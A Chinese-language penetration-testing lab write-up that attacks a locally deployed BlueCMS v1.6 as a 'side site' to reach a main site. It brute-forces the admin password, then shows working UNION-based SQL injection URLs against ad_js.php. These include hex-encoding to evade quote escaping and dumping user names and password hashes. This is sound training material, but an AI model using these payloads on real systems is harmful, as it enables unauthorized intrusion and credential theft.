(1)bluecms旁注漏洞练习
(2)为什么旁站攻击可以拿下主站?
(3)跨库的意思是什么?
1 实验环境
软件名称 | 版本 | 部署方式 | IP |
---|---|---|---|
bluecms | v1.6 sp1 | phpStudy源码部署 | 172.31.5.1 |
将bluecms源码放入phpstudy网站目录中
访问安装链接进行安装
http://172.31.5.1/bluecms/uploads/install/
点击下一步,返回空白页面。说明安装成功
2 旁注简介
2.1 原理
在渗透测试过程中,如果正面难以突破,那么就采用一些迂回战术,从侧面来进行。也就是采用一些间接的方法,例如旁注,通过旁站来进行渗透。
**什么是旁注?**在同一服务器上有多个站点,我们要攻击的这个站点假设没有漏洞,我们可以攻击服务器上的任意一个站点,这个就是旁注。(假设A网站和B网站在同一个服务器上,攻击A网站,但是A网站没有漏洞,B网站有漏洞,这时可以通过攻击B网站找到服务器)
什么是跨库?跨库查询是指由于权限设置不严格,导致普通帐号被授予过高的权限,从而使得其可以对其他的数据库进行操作。比如,在mysql中,informatin_schema 这个表默认只有root有权限进行操作。但是如果一个普通账户权限过高后,他便可以对该数据库进行操作,从而拿到整个数据库的信息。
2.2 示例
假如在某次渗透测试过程中我们发现主站难以攻破,通过子域名发现存在旁站bluecms,于是通过旁站来进行攻击:
2.2.1 发现管理页
打开bluecms主页 ,尝试登录admin账号,密码任意输入。
http://172.31.5.1/bluecms/uploads/
点击登录,发现提示:
猜测该网站有后台管理页面,通过站点扫描成功找到后台登录页面
http://172.31.5.1/bluecms/uploads/admin/login.php?act=login
2.2.2 爆破管理员密码
使用admin账号尝试多次密码,账号未被锁定,且没有验证码功能。通过爆破获得密码admin
使用账号admin/admin成功登录后台
2.2.3 发现注入点
浏览后台,发现一个功能:获取js
点击获取js,得到一个链接
http://172.31.5.1/bluecms/uploads/ad_js.php?ad_id=1
2.2.4 sql注入拿到账号
修改id值为-1 order by 1,发现成功执行。可能是一个注入点
直接使用order by 进行注入,多次尝试后,得到列数为7( 8报错)
使用union关键字注入(注意这里可能由于环境原因导致没有回显,使用火狐浏览器,点击箭头所指处可获得结果)
扩展链接:怪异模式和标准模式
获得数据库名bluecms
获得用户名
获得当前库中的所有表
http://172.31.5.1/bluecms/uploads/ad_js.php?ad_id=-1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()
注入blue_user表中的字段,发现报错,这里有过滤,单引号前面出现 \ ,证明单引号被转义了
http://172.31.5.1/bluecms/uploads/ad_js.php?ad_id=-1 union
select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='blue_user'
使用16进制进行绕过(blue_user 16进制编码为 0x626c75655f75736572 ):
http://172.31.5.1/bluecms/uploads/ad_js.php?ad_id=-1 union select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x626c75655f75736572
获取到blue_user表中的字段
注入bluecms库中blue_user表中user_name以及pwd的字段内容(0x20 是空格的十六进制表示):
http://172.31.5.1/bluecms/uploads/ad_js.php?ad_id=-1 union select 1,2,3,4,5,6,concat_ws(0x20,user_name,pwd) from blue_user
至此,就拿下了该系统的整个数据库。后面就可以考虑跨库了(这里不做演示)